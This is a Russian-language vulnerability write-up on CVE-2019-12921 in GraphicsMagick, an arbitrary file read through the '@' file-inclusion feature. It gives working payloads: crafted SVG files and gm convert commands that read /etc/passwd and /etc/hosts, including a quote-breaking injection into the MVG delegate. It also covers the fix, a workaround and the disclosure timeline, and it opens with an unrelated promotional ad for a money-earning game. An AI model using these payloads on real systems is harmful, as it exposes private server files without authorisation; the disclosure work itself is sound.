Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
В 2016 году уязвимость ImageTragick в библиотеке ImageMagick наделала много шума. Как способ снижения риска предлагалось использовать GraphicsMagick — форк библиотеки ImageMagick, нацеленный на более стабильный и производительный API. Оригинальная уязвимость CVE-2016-3717, обнаруженная stewie, позволяла злоумышленнику прочитать произвольный файл на файловой системе при помощи специально созданного изображения. Сегодня я рассмотрю аналогичную уязвимость в GraphicsMagick, обнаруженную мной в ходе анализа исходного кода библиотеки.
Оригинальный эксплоит через псевдопротокол 'label' с сайта ImageTragick не отработает.
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
Причина в алгоритме обработке изображений ImagePrimitive файла render.c ReadImage не может обработать строку label:@/etc/passwd как изображение и вернет ошибку Unable to open file. Код функции:
#define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0)
if (!VALID_PREFIX("http://", primitive_info->text) &&
!VALID_PREFIX("https://", primitive_info->text) &&
!VALID_PREFIX("ftp://", primitive_info->text) &&
!(IsAccessibleNoLogging(primitive_info->text))
)
{
ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text);
status=MagickFail;
}
Тем не менее, возможность прочитать любое изображение на файловой системе остается, но может быть использована только для сбора внутренней информации. Пример эксплуатации данной "фичи" можно найти в отчетах BugBounty программ, например тут.
Это и сподвигло меня детально изучить реализацию кодека Label в GraphicsMagick. Для этого выполним преобразование:
$ gm convert label:@etc/passwd output.png
Библиотека возвращает первую строку файла /etc/passwd, что означает что псевдо-протокол остается уязвимым, но в большинстве случаев не пригоден для злоумышленника, так как возможность повлиять на командную строку отсутствует. Чтобы разобраться как можно проэксплуатировать данную “фичу” давайте разберемся в причинах. Псевдо-протокол label производит преобразование строки при помощи функции TranslateTextEx:
text=(char *) formatted_text;
/*
If text starts with '@' then try to replace it with the content of
the file name which follows.
*/
if ((*text == '@') && IsAccessible(text+1))
{
text=(char *) FileToBlob(text+1,&length,&image->exception);
if (text == (char *) NULL)
return((char *) NULL);
}
Функция принимает входной параметр formatted_text и если строка начинается со специального символа '@', то дальнейшая строка воспринимается GM как полный путь до файла, из которого необходимо прочитать содержимое для трансформации. Давайте рассмотрим другие места, где используется данная функция, которые могут быть проэксплуатированы злоумышленником.
- /coders/msl.c множественное количество вхождений, но данный язык используется GM в качестве скриптового языка для команды conjure и не будет рассмотрен в рамках данной статьи Эксплуатация возможна, но потребует специфической логики работы приложения
/magick/attribute.c обработка атрибутов изображения. Функция TranslateText вызывается для атрибутов comment и label, когда они передаются непосредственно пользователем, а не хранятся в самом изображении. Разработчик оставил нам небольшую подсказку:
Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open.
Но что произойдет, если обработка функцией SetImageAttribute изображения будет выполнена уже после тога как, blob закрыт. Оказывается такий кодек есть — SVG. Цепочка вызовов функции ReadSVGImage выглядит следующим образом:
- XML Parser завершает работу
- CloseBlob(image) закрывает blob
- Делегат MVG выполняет преобразование
- SetImageAttribute(image,"comment",svg_info.comment) атрибуты comment и title будут записаны в изображение.
Для успешной эксплуатации злоумышленнику необходимо, чтобы итоговый формат поддерживал данные атрибуты, например GIF, JPEG.
<?xml version="1.0" standalone="no"?>
<!--@/etc/passwd-->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
<image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/>
</svg>
$ gm convert exploit.svg output.gif
$ gm convert exploit.svg output.jpeg
- /magick/annotate.c следующий хороший вариант для эксплуатации функция AnnotateImage, которая используется:
- /coders/txt.c аналогично с псевдо-протоколом Lablel протокол TXT: что не представляет особого интереса, так как для его эксплуатации потребуется доступ к командной строке.
- /magick/render.c И здесь мы приходим к нашему финальному эксплоиту для примитива text Magick Vector Graphics, который имеет довольно простой синтаксис:
text "text"
Успешаня эксплуатации возможна, если строка будет начинаться со спецсимвола '@'.
$ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png
Данный метод крайне редко встречается в реальном приложении, однако существует способ эксплуатации данной уязвимость при помощи делегатов. Делегат — внешний обработчик изображения, формат которых не поддерживается библиотекой. Существует ряд кодеков, которые преобразовываются во временный файл и дальнейшая обработка выполняется псевдо-протоколом MVG. Как было отмечено ранее, таким кодеком является SVG.
Эксплуатация CVE-2019-12921
XML Parser SVG изображения выполняет преобразование разметки в промежуточный файл:
FormatString(clone_info->filename,”mvg:%.1024s",filename);
Преобразование тэга img имеет следующий код:
case 'i':
{
if (LocaleCompare((char *) name,"image") == 0)
{
MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n",
svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width,
svg_info->bounds.height,svg_info->url);
MVGPrintf(svg_info->file,"pop graphic-context\n");
break;
}
break;
}
Для эксплуатации нам необходимо разорвать контекст строки при помощи обычной кавычки и добавить наш эксплоит:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="720px" height="720px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink">
<image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/>
</svg>
$ gm convert exploit.svg output.png
Эксплуатация для других кодеков использующих MVG делегат останется на усмотрение читателя.
Защита
Обновленая версия GM доступна на сайте производителя. Фикс удаляет поддержку файлов при помощи спецсимвола @ на данный момент, Mercurial changesets 16037:f780c290b4ab и 16038:44e3d0e872eb для функции TranslateTextEx. По словам разработчиков, в дальнейшем данная логика будет возвращена в более безопасной реализации. В качестве временного решения советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY
Timeline
Информация об уязвимости была передана разработчику 6 июня 2019 года, позже того же дня вышел хотфикс. 15 июня 2019 вышло информационное письмо на www.openwall.com. 20 июня 2019 номер CVE-2019-12921 был присвоен данной проблеме.